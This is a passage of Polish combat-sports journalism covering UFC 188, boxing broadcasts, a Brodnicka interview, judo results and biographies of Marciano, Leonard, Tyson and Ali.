m.in. Kamila Rutę, Jerzego Wrońskiego czy Łukasza Wichowskiego. Zawodnik Palestry dodał, że na przestrzeni lat doszło do istotnej zmiany. – Teraz czas by ludzie zapoznali się z "nowym kickboxingiem", który zyskuje coraz większą popularność na świecie, czyli K-1 rules – mówił nam Kosowski. Z pewnością jest to istotne na płaszczyźnie widowiskowości dyscypliny i dostarczania widzom dodatkowych wrażeń.

30-letni Kosowski to wybitny zawodnik, który zdobywał medale na mistrzostwach świata i Europy, Pucharach Świata oraz na polu krajowym. Jednakże najlepszy okres w jego karierze to lata 2006-2007. W Bangkoku sięgnął po brązowy medal mistrzostw świata, a w Vigo po brąz mistrzostw Europy w muay thai WMF. Ponadto, wygrywał rankingi PZKb i zdobył Puchar Świata w Szeged. Na szczyt wrócił w 2010 roku, kiedy po raz kolejny zachwycał formą i gromił kolejnych rywali. Ostatnim sukcesem Kosowskiego jest mistrzostwo świata Pro-Am w tajskim boksie 2014. Obecnie poświęca swoją uwagę treningom personalnym, z których czerpie satysfakcję. Kosowski ma plany powrotu na szczyt, jednak w tym roku nie wystąpi w mistrzostwach świata. – Na razie nie wybiegam zbyt w przyszłość. Po najbliższej walce zdecyduję, co dalej. Pewne jest to, że nie jadę w tym roku na MŚ Muay Thai WMF – zdradził nam Kosowski. Utytułowany zawodnik z pewnością stoczy jeszcze wiele widowiskowych walk w muay thai. Liczymy na kolejne medale przywiezione z mistrzowskich imprez przez Kosowskiego. Jak sam mówi wszystko jest w jego rękach. – Jeśli chcę nadal zdobywać najwyższe trofea jako zawodnik, to teraz czas na kolejny rozwój i powrót do formy z lat 2006- 2007 oraz 2010.

 

KM

Wyczekiwana walka

Na UFC 188 w Mexico City dojdzie do pojedynku Caina Velasqueza z Fabrizio Werdumem. Starcie długo wyczekiwane wreszcie stanie się faktem. Fighterzy mieli spotkać się podczas UFC 180, jednak kontuzja kolana uniemożliwiła występ Velasqueza.

Pojedynek będzie walką wieczoru podczas gali UFC 188, która odbędzie się 13 czerwca. Fani mieszanych sztuk walki długo musieli czekać na ten pojedynek, ale z pewnością nie zawiodą się. Velasquez jest mistrzem wagi ciężkiej. Tytuł wywalczył w październiku 2010 roku podczas UFC 121 w rywalizacji z Brookiem Lesnarem. Mistrzowskim pasem nie cieszył się długo, gdyż w kolejnej walce przegrał z Juniorem Dos Santosem. Od tego momentu zaczęła się tworzyć elektryzująca historia. Fighterzy spotkali się jeszcze dwa razy. Velasquez odzyskał tytuł. W grudniu 2012 roku podczas UFC 155 pokonał jednogłośnie na punkty Brazylijczyka, którego zdominował całkowicie w parterze i stójce. Podczas UFC 166 Amerykanin perfekcyjnie zakończył trylogię starć z Dos Santosem. Ciosami pięściami pozbawił Brazylijczyka złudzeń i nadal dzierży w swoich dłoniach pas mistrza wagi ciężkiej. Właśnie pojedynek z Dos Santosem był ostatnią walką Amerykanina, a miała ona miejsce w październiku 2013 roku. Tym samym Velasquez wraca do oktagonu po blisko dwudziestu miesiącach przerwy. Na UFC 180 nie wystąpił w powodu kontuzji kolana. Wtedy Amerykanina zastąpił Mark Hunt, z którym Werdum poradził sobie już w drugiej rundzie. Brazylijczyk jest w dobrej dyspozycji i idzie drogą zwycięstw – odniósł pięć kolejnych wygranych. Ostatnią porażkę zanotował w 2011 roku w starciu z Alistairem Overeemem. Pojedynek Velasquez – Werdum długo wyczekiwany z pewnością będzie widowiskiem na odpowiednim poziomie. Spotkają się zawodnicy prezentujący najwyższy poziom umiejętności. Kwestią fundamentalną jest – jak po takiej przerwie poradzi sobie Velasquez.

Drugą wieczoru walką podczas UFC 188 będzie starcie Gilberta Melendeza z Eddiem Alvarezem. Dla obu fighterów jest to szansa na polepszenie swojego bilansu w UFC. Melendez do tej pory w barwach najlepszej organizacji mieszanych sztuk walki stoczył trzy walki – jedną wygrał, dwie przegrał. Z kolei Alvarez zadebiutował podczas UFC 178 w starciu z Donaldem Cerronem. Były mistrz Bellatora przegrał, ale w oczach wielu pozostaje kandydatem do zawojowania wagi lekkiej.

Organizacja oferuje interesujące walki i pracuje nad poprawą własnego położenia, gdyż wizerunek UFC ucierpiał. Od początku roku zmaga się ze skandalami dopingowymi. Na stosowaniu niedozwolonych środków przyłapano m.in. Andersona Silvę, Nicka Diaza czy Jona Jonesa. Coraz częściej słychać głosy, że UFC jest „skażone” i stosowanie dopingu przez zawodników jest powszechne. Według Komisji Sportowej Stanu Kalifornia tak nie jest. – Nawet przy testach przeprowadzanych w czasie „po gali” przyłapano na tym procederze  tylko kilka osób, co stanowi od 30 – do 38 procent wszystkich zawodników. Rzecz jasna, że stosowanie dopingu to problem, jednak nie uczestniczy w nim 90% środowiska – powiedział dyrektor Komisji Andy Foster.

KM

Carl Frampton i Chris Avalos w starciu o mistrzostwo świata IBF – transmisja w telewizji FightKlub.

W najbliższy weekend telewizja FightKlub przygotowała dla widzów sporą dawkę emocji. Stacja pokaże, aż  trzy gale na żywo w tym jedną o mistrzostwo świata w kategorii super koguciej.

Weekend z boksem na żywo telewizja FightKlub rozpocznie w nocy z piątku na sobotę o godzinie 03:00, transmisją z gali ESPN Friday Night Fights. W głównej walce zobaczymy Cletusa Seldina i Johnnego Garcię. W tym dziesięciorundowym pojedynku w Paramount Theatre w Huntington, niepokonany na zawodowych ringach 28-letni Seldin zmierzy się ze starszym od siebie o cztery lata Garcią. Seldin w swoim ostatnim pojedynku, w grudniu ubiegłego roku, pokonał przez nokaut w dziewiątej rundzie Bayana Jargala i zdobył wakujący pas WBC International Silver w wadze superlekkiej. Jak będzie tym razem dowiemy się już w najbliższą sobotę. Powtórka gali o godzinie 12:00.

Tej samej nocy po walce ESPN FightKlub pokaże na żywo gale z cyklu Golden Boy (powtórka w sobotę o godzinie 14:00). Główną atrakcją wieczoru w Kalifornii będzie meksykańsko-dominikańska walka w kategorii półśredniej. Były mistrz świata federacji WBA Pablo Cesar Cano skrzyżuje rękawice z mistrzem nokautu Juanem Carlosem Abreu

Zwieńczeniem weekendu z boksem na żywo w telewizji FightKlub będzie mistrzowskie starcie w trakcie gali w Belfaście. Głównym wydarzeniem będzie pojedynek Carla Framptona z Chrisem Avalosem o mistrzostwo świata IBF w kategorii super koguciej. Transmisja w sobotę od godziny 21:30. Powtórka w niedzielę o 12:00.

Amerykanin przystępuje do tego pojedynku z pozycji oficjalnego pretendenta do pasa International Boxing Federation. 28-letni Irlandczyk tytuł IBF wywalczył we wrześniu ubiegłego roku, wygrywając wysoko na punkty z Kiko Martinezem. Całą galę na żywo pokaże wyłącznie stacja FightKlub.

[kod]

Źródło: materiały prasowe

Rocky Marciano

Amerykański bokser urodzony 1 września 1923 roku w Brocton, zmarł 31 sierpnia 1969 roku. Jest jedynym niepokonanym mistrzem świata wagi ciężkiej. Jego bokserska kariera trwała 10 lat.  Jako półtoraroczne dziecko ledwo przeżył ciężkie zapalenie płuc. Będąc nastolatkiem aktywnie uprawiał sport min. Baseball i football amerykański. Swoją edukację zakończył na 10 klasie szkoły średniej, po czym głownie pracował fizycznie.  W marcu 1943 roku został powołany do wojska. Został przydzielony do 150 Brygady Saperów.  W 1944 roku został wysłany do Walii gdzie zajmował się załadunkiem okrętów pływających z dostawami dla wojsk Alianckich walczących we Francji. Po kilku miesiącach wysłano go z powrotem do ojczyzny, do Fort Lewis, gdzie oczekiwał przerzutu na Pacyfik. Wojna jednak się skończyła, a Rockyemu pozostał jeszcze rok służby. Aby dać upust swojej energii zaczął startować w organizowanych przez wojsko turniejach bokserskich. Krępy, ale obdarzony niezwykłą siłą ciosu Marchegiano wkrótce stał się postrachem innych współzawodników.  W kwietniu 1946 roku otrzymał przepustkę, podczas której stoczył pierwszą oficjalną amatorską walkę. Jego rywalem był utytułowany Henry Lester. Lester górujący nad rywalem techniką i doświadczeniem kontrolował przebieg walki.  W trzeciej rundzie Lester został umyślnie kopnięty kolanem w krocze. Walka zakończyła się skandalem i dyskwalifikacją Marchegiano.  Ta porażka zniechęciła go do dalszego uprawiania boksu.  Przytył, zaczął nadużywać alkoholu i palił dwie paczki papierosów dziennie. Wkrótce po powrocie do Fort Lewis, dzięki namowom znajomych wznowił treningi i rzucił używki.  Wziął udział w organizowanym przez Amateur Athletic Union turnieju bokserskim.  Chociaż wygrał dwie pierwsze walki przez nokaut w pierwszej rundzie, doznał poważnej kontuzji lewej dłoni. W trzeciej walce walczył jedną ręką. Przegrał i poddał się skomplikowanej operacji, po której lekarze odradzili mu powrót do boksu. W lecie 1946 roku został zdemobilizowany. Po powrocie do Brockton chciał spełnić swoje dziecięce marzenie i zostać profesjonalnym baseballistą. Zapisał się do miejscowej półamatorskiej drużyny Taunton Lumber Team. W 1947 roku był na trzytygodniowych testach w filialnej drużynie Chicago Cubs, ale uznano go za nieprzydatnego. Zdesperowany Marchegiano powrócił do tego co wychodziło najlepiej czyli boksu. Treningi wznowił pod okiem swojego przyjaciela Allie Colombo.17 marca 1947 roku stoczył swoją pierwszą profesjonalną walkę. Jego rywalem był Lee Epperson.  Aby ukryć ten fakt przed matką, która nie chciała żeby został zawodowym pięściarzem, wystąpił pod pseudonimem Rocky Mack. Wygrał przez nokaut w trzeciej rundzie inkasując za wygraną 35 dolarów.  Następnie zdecydował się na nietypowy ruch i powrócił do walka amatorskich. W lutym 1948 roku został mistrzem Nowej Anglii, którą reprezentował na turnieju Golden Glove w Nowym Jorku. Walczył tam z Colley Wallecem. Według większości obserwatorów walkę wygrał, jednak sędziowie byli innego zdania.  Była to ostatnia kontrowersyjna porażka w jego karierze.  Wkrótce potem wziął udział w regionalnym turnieju eliminacyjnym do Igrzysk Olimpijskich w Londynie.  W finale pokonał George’a McGinnisa, ale doznał kontuzji kciuka, która wyeliminowała go z kadry.  Była to jego ostatnia walka w amatorskiej karierze. Eksperci nie wróżyli mu wielkiej kariery. Uważali ze jest za stary, za niski, za lekki i ze słabą techniką. Nad poprawieniem techniki pracował z nim nowy trener Charley Goldman.  Szczególny nacisk położył na pracę nóg i balans oraz uderzenia lewą ręką. Nauczył też walczyć Rocky’ego z charakterystycznego przysiadu. Jego managerem został Al Weill. To on namówił Marchegiano, aby zaczął walczyć pod pseudonimem Rocky Marciano. Następnych 14 walk Rocky wygrał przed czasem. Pierwszym bokserem który był w stanie przetrwać do ostatniej rundy był Don Mogard, który w maju 1949 roku przegrał przez decyzję po 10 rundach.  Rok 1949 Rocky zakończył jako niepokonany w 23 walkach. Dzięki ponadprzeciętnej odporności na ciosy i ból zyskał przydomek „The Rock”.  30 grudnia 1949 roku na słynnym Madison Square Garden, Rocky walczył przeciwko solidnemu Carmine Vingo. Marciano zakończył jego karierę brutalnie nokautując go w szóstej rundzie. Vingo został przewieziony do szpitala ze złamaną podstawą czaszki i wylewem krwi do mózgu. Był w śpiączce i miał sparaliżowaną połowę ciała. Przez siedem dni lekarze walczyli o jego życie. W końcu gdy okazało się że przeżyje, Marciano czując się winny zapłacił 2000 dolarów za hospitalizację i podarował mu kolejne 500 na znalezienie pracy. Po prawie trzech miesiącach Rocky wrócił na ring w pojedynku z najtrudniejszym do tej pory rywalem Rolandem La Starzą. Była to jedyna walka w zawodowej karierze w której był o włos od porażki. Rocky wygrał minimalnie przez niejedno głośną decyzję. Była to również pierwsza walka Rocky’ego transmitowana w telewizji. Marcianio tryumfował w kolejnych 11 pojedynkach. Wśród pokonanych był Rex Layne. Nokautując Layne’a Marciano stał się jednym z głównych pretendentów do mistrzostwa świata. Pojedynek o pas mistrzowski jednak się oddalił po tym jak Ezzard Charles stracił tytuł na rzecz pretendenta numer jeden Jersey Joe Wallcota. Oznaczało to że najpierw dojdzie do rewanżowej walki pomiędzy tymi bokserami.  Najbliższym rywalem Marciano był były mistrz świata Joe Louis. Walka ta odbyła się 26 października 1951 roku w Madison Square Garden. Marciano znokautował swojego rywala w ósmej rundzie.  Przed walką o tytuł mistrza świata, Rocky musiał stoczyć jeszcze walkę przeciwko doświadczonemu „Kidowi” Matthewsowi. Rocky szybko pokonał swojego rywala nokautując go w drugiej rundzie.  Do walki o mistrzostwo świata z Wallcotem doszło 23 września 1952 roku na Municipal Stadium w Filadelfii.  Ponad 40000 tysięcy widzów było świadkami brutalnego pojedynku. Rocku był liczony po raz pierwszy w swojej karierze. Mistrz ponawiał ataki w kolejnych rundach zdobywając przewagę. Dopiero w dalszej części walki Rocky zdołał zniwelować nieco przewagę mistrza. Starcie było bardzo brutalne. Obaj zawodnicy byli cali we krwi. Rocky miał ranę na czole a Wallcot rozcięty łuk brwiowy. Sekundanci obu pięściarzy zużyli więc dużą ilość żrącej maści zasklepiającej rozcięcia zwanej popularnie „ Dynamitem”. Prawdopodobnie substancja ta dostała się do oczu Rocky’ego, powodując częściową ślepotę miedzy 7 a 10 rundą, kiedy to Wallcot bezkarnie trafiał pretendenta.  Do 13 rundy mistrz miał bezpieczną przewagę punktową. W tym momencie jedyną szansą na wygraną Marciano był nokaut.  Rocky zaatakował rywala, lecz ten umiejętnie się bronił. Po 33 sekundach krążenia wokół ringu, Rocky zapędził rywala pod liny. Obaj zadali cios w tym samym momencie, lecz to krótki prawy prosty Rocky’ego dotarł ułamek sekundy szybciej. Mistrz upadł na kolana po czym tracąc przytomność osunął się twarzą na deski. Rocky Marciano został mistrzem świata wagi ciężkiej, inkasując za zwycięstwo 100 000 dolarów.  Pierwszy raz Rocky obronił tytuł w rewanżowej walce przeciwko Wallcotowi w maju 1953 roku. Tym razem pojedynek był bardzo krótki. Rocky znokautował rywala w pierwszej rundzie.  Następnie Rocky spotkał się po raz drugi z La Starzą. Rywal mistrza wykazał się dobrze zorganizowaną defensywą. Goldman widząc, że Rocky sobie nie radzi ze szczelną gardą , kazał mu obijać jego ramiona i korpus. Taktyka ta okazała się na tyle skuteczna, że w 10 rundzie La Starza nie mógł utrzymać wystarczająco wysoko rękawic.  W 11 rundzie nie był w stanie w ogóle się bronić. W końcu po jednym z ciosów wypadł za liny i sędzia przerwał pojedynek.  W 1954 roku dwukrotnie obronił tytuł przeciwko byłemu mistrzowi Ezzardowi Charlesowi.  W maju 1955 roku znokautował w 9 rundzie mistrza Brytyjskiej Wspólnoty Narodów i Europy Dona Cockella. 21 września 1955 roku na Yankee Stadium w Nowym Jorku w swojej szóstej i ostatniej obronie mistrzowskiego pasa zmierzył się z Archie Moorem. Rocky znokautował rywala w dziewiątej rundzie.  27 kwietnia 1956 roku w wieku 33 lat Rocky Marciano zakończył karierę. Na zawodowym ringu był niepokonany.  W Połowie lat 60. odrzucił wartą 2 mln dolarów walkę z Cassiusem Clayem. W dzień przed swoimi 46 urodzinami Rocky zginął w katastrofie lotniczej.

Brodnicka: Wierzę w walkę o mistrzostwo świata

Ewa Brodnicka intensywnie przygotowuje się do kolejnej walki. 14 marca bokserka, która w swoim dorobku posiada Interkontynentalne Mistrzostwo Świata federacji WBF zmierzy się z Węgierką Giną Chamie.

24-latka dobrze radzi sobie na zawodowych ringach. Do tej pory wygrała jedenaście pojedynków i dwa przegrała. Chamie miała okazję dwukrotnie walczyć o mistrzowskie pasy, jednak nie udało jej się odnieść zwycięstwa. W grudniu ubiegłego roku przegrała z Nicole Wesner o wakujący tytuł międzynarodowej mistrzyni świata WBF. Chamie stoczyła dobrą walkę z Ramoną Kuehne o pas WBO, jednak z powodu kontuzji w szóstej rundzie musiała wycofać się z dalszej rywalizacji. 24-letnia zawodniczka pokazała, że ma potencjał i wysokie umiejętności.

Przed Ewą Brodnicką kolejne wyzwanie na jej drodze do mistrzostwa świata. Mistrzyni świata WBF dokonała analizy przeciwniczki i wysoko ocenia jej warsztat. – Myślę, że to ambitna przeciwniczka, młoda i głodna sukcesu. Analizując jej walki widać, iż dobrze porusza się na nogach i zadaje ciosy w różnych płaszczyznach, zarówno w ataku jak i w defensywie – powiedziała Brodnicka  w rozmowie z Fightime. Polska mistrzyni rozpoczęła przygotowania do walki pod okiem trenera Krzysztofa Drzazgowskiego. Treningi są intensywne, ale jak zapewnia Brodnicka mają również wartość edukacyjną. – Rozpoczęłam przygotowania do gali od połowy stycznia. Mój trener Krzysztof Drzazgowski wprowadza co jakiś czas różne nowinki treningowe, co nie pozwala na nudę, ale przede wszystkim podnosi moje umiejętności i formę.

Dla Polki walka z Chamie będzie kolejnym punktem na jej drodze do mistrzostwa świata, co Brodnicka wielokrotnie podkreślała. Nasza zawodniczka liczy, że w tym roku uda jej się stoczyć pojedynek o pas. Jedna propozycja mistrzowskiej walki pojawiła się, jednak w wyższej kategorii wagowej. – Jestem gotowa na poważne wyzwania, jednak trzeba to robić w przemyślany sposób. Ostatnio otrzymałam propozycję walki o Mistrzostwo Europy z Ornellą Domini, jednak w wyższej kategorii wagowej. Może nie każdy wie, że walka wyjazdowa rządzi się innymi prawami. Aby wygrać za granicą trzeba po prostu znokautować, aby być w 100% pewnym zwycięstwa. Trudno jest pokusić się o nokaut, kiedy zawodniczka jest dużo cięższa – mówiła nam niepokonana dotąd na zawodowych ringach bokserka. Każdy kolejny pojedynek przybliża Brodnicką do walki o mistrzostwo świata. Polska zawodniczka chciałaby, aby miał on miejsce na polskiej ziemi, ale nie wyklucza wyjazdu do Argentyny. – W tym roku wierzę, że otrzymam szansę zawalczenia o Mistrzostwo Świata innej federacji i moim marzeniem jest wystąpić w Polsce. Jeśli trzeba będzie pojadę do Argentyny, gdzie w mojej kategorii – super lekkiej – w top dziesiątce jest aż siedem Argentynek. Aby być najlepszym trzeba walczyć z najlepszymi – mówiła na temat swoich planów Brodnicka.

Wielokrotnie przewijał się wątek walki mistrzyni świata z Ewą Piątkowską, do której ostatecznie nie doszło. Według Brodnickiej pojedynek nie doszedł do skutku, gdyż propozycję konfrontacji odrzucili promotorzy „Tygrysicy”. Sytuacja zrodziła wiele niedomówień i obustronnych zarzutów. Brodnicka dementuje jakoby powodem rezygnacji z pojedynku była jej przyjaźń z Ewą Piątkowską. – Słyszałam, że Pan Wasilewski (Andrzej Wasilewski – przyp. red.) promotor Ewy twierdził na początku, że jesteśmy z Piątkowską koleżankami i dlatego nie chcę walczyć. To jednak nie stało na przeszkodzie, gdyż nie przyjaźnimy się z Ewą od roku. Podchodzę do tego sportu profesjonalnie, jest to mój zawód i konfrontacja z koleżanką nie miałaby znaczenia. Słyszałam również, że w negocjacje były podobno włączone inne postronne osoby, co jest kolejnym mijaniem się z prawdą, gdyż moje wszystkie walki negocjuje wyłącznie mój promotor Mariusz Grabowski – powiedziała interkontynentalna mistrzyni świata WBF.

Teraz priorytetem dla Brodnickiej jest walka z Chamie i zwycięstwo. Potem z pewnością poczyni kolejne kroki na drodze do walki o mistrzostwo świata. 14 marca stanie w Lubinie naprzeciw Chamie. Polce przyjdzie rywalizować z wymagającą przeciwniczką, co może przynieść tylko i wyłącznie pozytywne efekty. – Cieszy mnie fakt, że będę walczyć z dobrze wyszkoloną zawodniczką, która liczę postawi mi wysoko poprzeczkę – powiedziała Brodnicka.

KM

Sugar Ray Leonard

Amerykański bokser urodzony 17 maja 1956 roku w Wilmington, Płn Karolina.  W swojej amatorskiej karierze zwyciężył w 145 walkach, przegrał jedynie pięć razy w tym z Kazimierzem Szczerbą w 1974 roku. Był złotym medalistą Igrzysk Panamerykańskich w 1975 roku oraz Igrzysk Olimpijskich w 1976 roku w wadze lekkopółśredniej. Po wygranej w finale Igrzysk Olimpijskich z Kubańczykiem Andresa Aldamę przeszedł na zawodowstwo.  W latach 1977- 1997 stoczył 40 zawodowych walk. Wygrał 36 razy. Był czterokrotnie mistrzem świata (dwukrotnie WBC i dwukrotnie WBA) w wadze półśredniej, oraz średniej (WBC 1987), superśredniej (WBC 1988-1990) i półciężkiej (WBC 1988-1989).  Jest powszechnie uznawany za jednego z najlepszych pięściarzy wszech czasów. W swojej karierze pokonał wielu utytułowanych pięściarzy takich jak Wilfred Benitez, Thomas Hearns, Roberto Duran i Marvin Hagler. Imiona Ray Charles otrzymał na cześć słynnego muzyka. Przydomek „ Sugar” nawiązuje do innego boksera i wielokrotnego mistrza świata z lat 50. Raya Robinsona. W 1997 roku został wprowadzony do Międzynarodowej Galerii Sław Boksu. 

Polacy bez rewelacji, ME jednak w Baku

Grand Prix w Duesseldorfie w judo dla Polaków nie jest powodem do chwały – nasi reprezentanci wypadli blado. Biało – czerwoni nie zachwycili, nie zdobyli żadnego medalu. Najlepszy występ zanotowała Daria Pogorzelec, która w kategorii 78 kg zajęła piątą lokatę.

Dla zawodniczki z Gdańska był to pierwszy występ na turnieju międzynarodowym w tym sezonie. Pogorzelec rozpoczęła zawody od dwóch wygranych walk, ale zatrzymała się na Węgierce Abigel Joo. W repasażu reprezentantka Polski zwyciężyła w rywalizacji z Samantą Soares, co dało jej prawo walki o trzecie miejsce. Rywalką Pogorzelec była Japonka Ruiko Sato. Polka nie dała rady zawodniczce z Kraju Kwitnącej Wiśni, która wygrała przez yuko. Daria Pogorzelec zanotowała najlepszy występ spośród wszystkich naszych reprezentantów w Duesseldorfie.

W kategorii 63 kg w eliminacjach odpadła Agata Ozdoba. Pogromczynią reprezentantki Polski okazała się Edwige Gwend, z którą de facto nasza zawodniczka wygrała rywalizację o brązowy medal podczas ubiegłorocznych mistrzostw Europy we Francji. Ozdoba w Duesseldorfie zanotowała jedno zwycięstwo – pokonała Katharinę Haecker. W kategorii 81 kg startowali Łukasz Błach i Jakub Kubieniec. Bez powodzenia. Błach wygrał jedną walkę, ale w pojedynku z Dagvasurenem Nyamsurenem z Mongolii przegrał trzema karami shido. Jakub Kubieniec trafił na trudnego przeciwnika. Był nim Alain Schmitt z Francji, brązowy medalista mistrzostw świata 2013 roku. Polak przegrał przez yuko.

Bez powodzenia startowali również Karolina Pieńkowska, Aleksander Beta oraz Paweł Zagrodnik. Najlepszym wynikiem w Duesseldorfie pozostaje więc piąte miejsce Darii Pogorzelec.

Najważniejszą informacją ostatnich dni jest kwestia przeniesienia mistrzostw Europy z Glasgow do Baku. Taką decyzję podjęła Europejska Unia Judo. Początkowo mistrzostwa Europy miały odbyć się w kwietniu w Glasgow, jednak zostały przeniesione do Baku i włączone w cykl pierwszej edycji Igrzysk Europejskich. Skąd taka decyzja? Winy należy szukać w Brytyjskim Związku Judo, który naruszył pewne standardy. Otóż, BJA zawarto umowę sponsorską z organizacją mieszanych sztuk walki – UFC. EJU uznało, że kontrakt ten nie spełnia wartości judo. Rzecz jasna, że celem UFC była promocja MMA, jednak organizacja zapewniała finansowanie imprezy mistrzowskiej. EJU uznało, że działanie to wykracza poza standardy związane z judo i narusza wartości. Podjęto decyzję o przeniesieniu mistrzostw Europy do Baku. Tym samym czempionat Starego Kontynentu zmienił datę z kwietniowej na czerwcową (turniej odbędzie się w dniach 25 – 28 czerwca).

W związku z zaistniałą sytuację EJU postanowiło wykorzystać fakt, że w tym roku będą miały miejsce pierwsze Igrzyska Europejskie. Trudno byłoby znaleźć nowego organizatora, który podjąłby się próby zaplanowania imprezy na niespełna dwa miesiące przed jej startem. Jednak EJU odkryło furtkę i sytuacja znalazła szczęśliwie rozwiązanie. Mistrzostwa Europy w Baku, a nie w Glasgow.

KM

Mike Tyson

Amerykański bokser urodzony 30 czerwca 1966 roku w Nowym Jorku. Były mistrz świata wagi ciężkiej. Najmłodszy mistrz świata wagi ciężkiej w historii. Gdy zdobył tytuł miał 20 lat cztery miesiące i 22 dni.  W 1986 roku został mistrzem świata federacji WBC, rok później posiadał tytuły mistrzowskie wszystkich federacji. Mike swoje pierwsze 19 pojedynków zwyciężył przez nokaut, z czego 12 w pierwszej rundzie. W 1990 roku przegrał przez nokaut w 10 rundzie z Jamesem „Busterem” Douglasem. W 1992 roku został oskarżony o gwałt na Desiree Washington i skazany na 3 lata więzienia. Na wolność wyszedł w 1995 roku.  Powrócił na ring i odzyskał część swoich pasów wagi ciężkiej. W 1996 stracił swoje pasy w walce z Evanderem Holyfieldem. Do rewanżu między tymi zawodnikami doszło w 1997 roku. Walka rewanżowa zakończyła się dyskwalifikacją Tysona za odgryzienie części ucha. Po tym incydencie udało mu się jednak wrócić na ring. W 2000 roku Tyson walczył z Andrzejem Gołotą. Komisja bokserska uznała walkę za nieodbytą, ponieważ w organizmie Tysona wykryto marihuane.  W 2002 roku ponownie walczył o mistrzostwo, przegrywając przez nokaut z Lennoxem Lewisem. Karierę bokserską Tyson zakończył w 2005 roku po dwóch przegranych przez nokaut z Dannym Williamsem oraz Kevinem McBridem.  Mike doświadczył bankructwa w 2003 roku, mimo otrzymania 30 milionów dolarów za kilka walk oraz 300 milionów dolarów w ciągu swojej kariery.  Największe osiągnięcia Mike’a Tysona to:

Tytuły:

  • Junior Heavyweight Champion Igrzyska Olimpijskie 1982 rok,
  • Narodowy Golden Gloves Champion Heavyweight 1984 rok,
  • Niekwestionowany mistrz wagi ciężkiej (zdobył wszystkie 3 pasy mistrzostw  WBA, IBF, WBC) 1987-1990
  • WBC Heavyweight Champion 22 listopada 1986 – 11 lutego 1990. 16 marca 1996 – 1997
  • WBA  Heavyweight Champion 7 marca 1987 – 11 luty 1990, 7 września 1996  – 9 listopada 1996
  • IBF Heavyweight Champion 1 sierpnia 1987 – 11 luty 1990

Rekordy:

  • Najmłodszy mistrz świata wagi ciężkiej – 20 lat cztery miesiące 22 dni
  • Junior Olympic najszybsze KO – 8 sekund

Nagrody:

  • Ring Magazine Fighter of the Year – 1986 I 1988
  • BBC Sports Personality of the Year Overseas Personality – 1989
  • Ring Magazine “ Prospect of the Year” – 1985

W 2011 roku został wprowadzony do Międzynarodowej Galerii Sław Boksu.  W 2012 roku podczas WrestleManii 28 został wprowadzony do WWE Hall of Fame. 

Muhammad Ali

Urodzony jako Cassius Clay Jr. urodzony 17 stycznia 1942 roku w  Lousiville zmarł 3 czerwca 2016 roku w Scottsdale.  Amerykański bokser.  Cassius Clay wychował się wraz z młodszym bratem Rudoplhem, w rodzinie malarza bilboardów Cassiusa Claya Seniora.  Pierwszy kontakt z boksem Cassius zawdzięcza policjantowi z Lousiville Joe Martinowi, który skierował go na salę bokserską w wieku 12 lat. Pierwszym trenerem Claya był miejscowy trener Fred Stoner.  Pod okiem Stonera Cassius zdobył sześć tytułów Złotych Rękawic Kentucky, dwa tytułu Złotych Rękawic na szczeblu krajowym, tytuł mistrza krajowego, a w końcu w wieku 18 lat złoty medal na Letnich Igrzyskach Olimpijskich w Rzymie w 1960 roku w kategorii półciężkiej. W finale podczas olimpiady Cassius pokonał polskiego zawodnika Zbigniewa Pietrzykowskiego. Bilans walka amatorskich Claya to 100 wygranych i 5 porażek.  Zaraz po zdobyciu tytułu olimpijskiego Cassius przeszedł na zawodowstwo. W swoim pierwszym pojedynku stoczonym 29 października 1960 roku z Tunneyem Hunsakerem, odniósł pierwsze zwycięstwo na punkty. W latach 1960 – 1963 stoczył w sumie 19 walk, wygrywając wszystkie. W tym czasie poznał swojego późniejszego trenera Angelo Dundeego. Pierwszy tytuł mistrza świata zdobył jako 22 latek w 1964 roku pokonując ówczesnego mistrza Sonny’ego Listona.  Po tej walce Cassius oficjalnie przystąpił do Nation of Islam, radykalnej organizacji czarnoskórych Amerykanów , wyznających Islam prowadzonych przez Malcolma X i Ellijaha Muhammada. Zrezygnował z nazwiska Cassius Clay, początkowo nazywał się Cassius X. Po tym jak Ellijaha Muhammad przezwał go „ Ali”, przyjął nazwisko Muhammad Ali. W rewanżu rozegranym w maju 1965 roku, Liston ponownie przegrał z Alim. Tym razem został znokautowany w połowie pierwszej rundy. Przez następne dwa lata Ali z powodzeniem bronił tytułu w walkach z min. Floydem Pattersonem, Karlem Mildenbergerem, George’em Chuvalo, Henrym Cooperem, Brianem Londonem, Clevelandem Williamsem, Erniem Terrellem i Zorą Folleyem.  W 1967 roku został skazany na karę więzienia w zawieszeniu za odmowę służby wojskowej i wyjazdu na wojnę do Wietnamu. Skutkiem wyroku było odebranie paszportu, tytułu mistrza świata boksu oraz licencji profesjonalnego boksera.  Przez trzy lata Ali nie mógł walczyć ani opuszczać terytorium Stanów Zjednoczonych. Jako bokser mógł stoczyć jedynie zainscenizowaną dla kamer walkę przeciwko byłemu wielkiemu mistrzowi Rocky’emu Marciano. W końcu po procesie apelacyjnym, wyrok został uchylony. W 1970 roku gubernator stanu Georgia wydał zezwolenie na udział Alego w walce. 26 października w Atlancie Ali powrócił na ring, wygrywając z Jerrym Quarrym. Tego roku Muhammad walczył jeszcze z Oscarem Bonaveną, z którym wygrał przez nokaut w 15 rundzie.  8 marca 1971 roku Ali spotkał się z Joe Frazierem legitymującym się bilansem 26-0. Walka w Madison Square Garden pomiędzy dwoma niepokonanymi bokserami została nazwana „ Pojedynkiem Stulecia”.  W finałowej 15 rundzie, dzięki przewadze na punkty i jednogłośnej decyzji sędziowskiej zwycięstwo odniósł Joe Frazier, przerywając passę 31 kolejnych zwycięstw. Po następnych 10 wygranych w latach 1971-1973, Ali spotkał się z Kenem Nortonem, który doprowadził do drugiej porażki Alego, łamiąc mu szczękę.  Pół roku później Ali zrewanżował się Nortonowi pokonując go na punkty. Po zwycięstwie nad kolejnym pretendentem, Joe Frazierem w styczniu 1974 roku, mógł zmierzyć się z aktualnym mistrzem świata Wszechwag, George’em Foremanem i walczyć o odzyskanie tytułu. Ali przyjął w tym pojedynku niezwykła taktykę. Wiedząc ze Foreman zwykle wygrywał przez nokaut w pierwszych rundach, przez pierwsze siedem odsłon walczył w defensywie, przyjmując wszystko na gardę. W ósmej rundzie Foreman był niezwykle zmęczony, wtedy zupełnie nieoczekiwanie Ali błyskawicznie zaatakował i znokautował rywala. Po walce obaj pięściarze zaprzyjaźnili się.  1 października 1975 roku Don King z pompą zorganizował kolejny pojedynek Alego. Jego kolejnym rywalem był Joe Frazier. Muhammad wygrał po 14 rundzie. Po trzech walkach rozegranych w 1976 roku, Ali wystąpił w pojedynku wrestlerskim z mistrzem tej sztuki Antonio Inokim. Po 15 rundach pojedynek zakończył się 